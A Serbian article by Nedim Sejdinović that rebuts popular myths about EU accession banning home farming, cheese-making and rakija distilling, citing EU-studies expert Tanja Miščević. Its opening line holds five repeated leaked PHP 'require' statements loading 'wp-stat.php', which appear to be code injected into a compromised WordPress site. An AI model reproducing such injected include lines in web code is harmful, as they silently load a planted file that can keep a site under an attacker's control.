@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); ŠTA ĆE OBIČNOM ČOVEKU ULAZAK SRBIJE U EU DONETI A ŠTA ODUZETI: Nećemo smeti da trujemo druge, već samo sebe – Nedim Sejdinović

ŠTA ĆE OBIČNOM ČOVEKU ULAZAK SRBIJE U EU DONETI A ŠTA ODUZETI: Nećemo smeti da trujemo druge, već samo sebe

Naš put u EU, osim što tako dugo, predugo traje, prepun je i raznih zamki koje su posledica ili loših namera ili neznanja. Loše namere imaju verovatno oni koji su desetak godina ovu zemlju držali izdvojenu iz sveta, dok je neznanje, kanda, posledica činjenice da ovdašnje mnogobrojne organizacije koje se bave promocijom EU, njenih standarda, pravila i vrednosti – ne rade dobro svoj posao. Svoj posao dobro ne rade ni državni organi, koji Evropu ne vade iz usta, ali veoma malo toga čine da građanima objasne šta ulazak u EU zapravo znači. Zbog toga nije čudno što na sceni Srbije ne postoje relevanti politički i društveni faktori koji bi našli svoje mesto između dve krajnosti, između onih koji EU doživljavaju kao raj na zemlji i onih koji naš ulazak u EU posmatraju kao potpuno odricanje od sopstvenog identiteta.

U svim evropskim zemljama postoje evroskeptici, koji smatraju da prenošenje suverenosti države na organe EU ne donosi ništa dobro. Oni uglavnom Uniji zameraju na prevelikoj administraciji. Jedni evroskeptici misle da je to stvar koja se može i mora izmeniti, dok drugi, fatalisti, veruju da demokratija nikako ne može da funkcioniše na nadnacionalnom nivou. Za razliku od tih evroskeptika, ovdašnji protivnici integracije u EU ne bave se krupnim političkim pitanjima, već svakodnevnim životom – uglavnom, plaše građane da će im EU, za šačicu evra, oduzeti sva životna zadovoljstva. U jednom proglasu naših evroskeptika tvrdi se da će u EU strogo biti zabranjeno: obrađivanje svoje zemlje ili bašte bez posebne dozvole Brisela, muženje krava i pravljenje sira, pečenje rakije, uzgajanje svinja, itd. Naravno, sve to nije tačno, čak je i smešno, ali te dezinformacije prihvaćene su od velikog broja naših građana, čak i od onih koji imaju visoko obrazovanje.

PROTEKCIONISTIČKI MEHANIZAM

Tanja Miščević, direktor Odeljenja za evropske studije Instituta G17 i docent na beogradskom Fakultetu političkh nauka u razgovoru za GL kaže da je politika EU zapravo jedan veliki protekcionistički mehanizam, napravljen da zaštiti proizvođače hrane. Ona tvrdi da je proizvodnja hrane nešto što svaka država štiti, ali da je EU u tome otišla najdalje i da, čak, zbog toga trpi pritiske Svetske trgovinske organizacije.

– Postoje odredbe koje čak definiše i koju vrstu useva određene godine poljoprivrednik treba da gaji, kako da obrađuje zemlju da bi taj prinos bio odgovarajući, kao i koliku količinu robe može da proizvede. Međutim, sa druge strane, polovina budžeta EU (koji inače iznosi 100 milijardi dolara) čine subvencije za proizvodnju hrane. Treba reći da je priča o kontroli i subvencijama od nas udaljena 20-ak godina, jer čak i kada uđemo u EU imaćemo jedan višegodišnji period u kojem ćemo se postepeno prilagođavati ovakvoj poljoprivrednoj regulativi – kaže Miščević.

Ona, međutim, ističe da kontrola poljoprivredne proizvodnje nikako ne znači da će nekome biti zabranjeno da na svojoj zemlji uzgaja šta god hoće za sopstvene potrebe. Takođe, zemljoradnik nije dužan ni da ispoštuje odredbe EU o tome šta da uzgaja te godine za dalju distribuciju, odnosno prodaju (podrazumeva se da roba ima odgovarajući propisani kvalitet), a jedina konsekvenca koju će zbog toga imati jeste da će ostati bez subvencija!

OSLEPETI ILI UMRETI

Miščević kaže da ni u kom slučaju nije tačna tvrdnja da će biti strogo zabranjeno muženje krava i pravljenje sira u domaćoj radinosti.

– Ukoliko mlečne proizvode pravite za prodaju, moraćete da imate licencu za to. Ona podrazumeva da su ispoštovani zdravstveni uslovi uzgajanja i muže krava, da ne bi došlo do eventualnog zagađenja proizvoda. Kvalitet mleka će takođe biti standardizovan, to jest moraće da ima odgovarajući procenat masnoće i gustine. To važi i za sir i ostale mlečne prerađevine. Što se, međutim, tiče proizvodnje za sopstvene potreba, tu EU ne unosi nikakva ograničenja. Možete piti i surutku i nazivati je mlekom ako želite – kaže Miščević.

Posebno traumatična tvrdnja za naše građane jeste ona koja veli da će im biti zabranjena proizvodnja rakije. No, ni to nije tačno, mada za proizvodnju alkoholnih pića postoji nešto drugačija regulativa nego za mleko i sir.

– Mog oca prilično nervira činjenica da evropski propisi određuju limit za proivodnju rakije za sopstvene potrebe, bez obzira što taj limit nije tako mali. Dakle, taj limit je problematičan. Što se drugog tiče, stvar je ista kao i u prethodnim slučajevima: možete proizvoditi i piti rakiju kakvog god kvaliteta, ali ukoliko želite da je prodajete, ona mora da bude napravljena po određenim standardima. U EU inače postoji standardizacija i za šljivovicu – kaže Miščević.

Otprilike, to znači da u promet nećete moći da stavite metil-alkohol, od kojeg će neko – kakvih je već bilo slučajeva kod nas – umreti ili, u boljem slučaju, oslepeti.

BIĆE SLANINIJADA I KOBASICIJADA

Miščević opovrgava tvrdnje da u EU neće biti mogućnosti da se organizuju razne slaninijade i kobasicijade. Takođe, nije tačno da će biti zabranjeno uzgajanje i klanje svinja i jaganjaca

– Ni u Holadniji nisu zabranjene izložbe sira, samo što su stavljene pod strogu zdravstvenu kontrolu. Verujem da nikome neće smetati to što će i naše manifestacije koje u sebi sadrže i prodaju prehrambenih proizvoda prolaziti veoma opsežnu kontrolu zdravstvene ispravnosti, kao i to što će proizvođači morati da imaju sertifikat koji podrazumeva standardizaciju uslova u kojem se uzgajaju životinje – kaže Miščević.

Miščević ističe da su zablude o kojima smo govorili za ljude koje se bave ovom problematikom smešne, ali i zabrinjavajuće. Ona smatra da je disiminacija informacija o EU u Srbiji užasno loša i da ljudi u većini slučajeva skoro ništa ne znaju o tome šta će nam doneti približavanje EU i integracija u nju.

– Preko 80 odsto ljudi se izjašnjavaju da su za ulazak Srbije i Crne Gore u EU, ali kada biste sada izašli na ulicu i pitali šetače šta je to zapravo Studija o izvodljivosti, o kojoj se u poslednje vreme toliko priča, verujem da bi izuzetno mali broj njih znao i najprostiji odgovor. Naša stručna javnost inače veoma malo pažnje posvećuje opštoj javnosti i objašnjavanju konkretnih stvari. To je veliki problem, a kao posledicu imamo velike zablude stanovništva. Jedni misle da će nam u EU biti sve sjajno i bajno, a drugi šire pesimističke ideje da će nam Evropska unija otprilike zabraniti i da dišemo – kaže Miščević.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.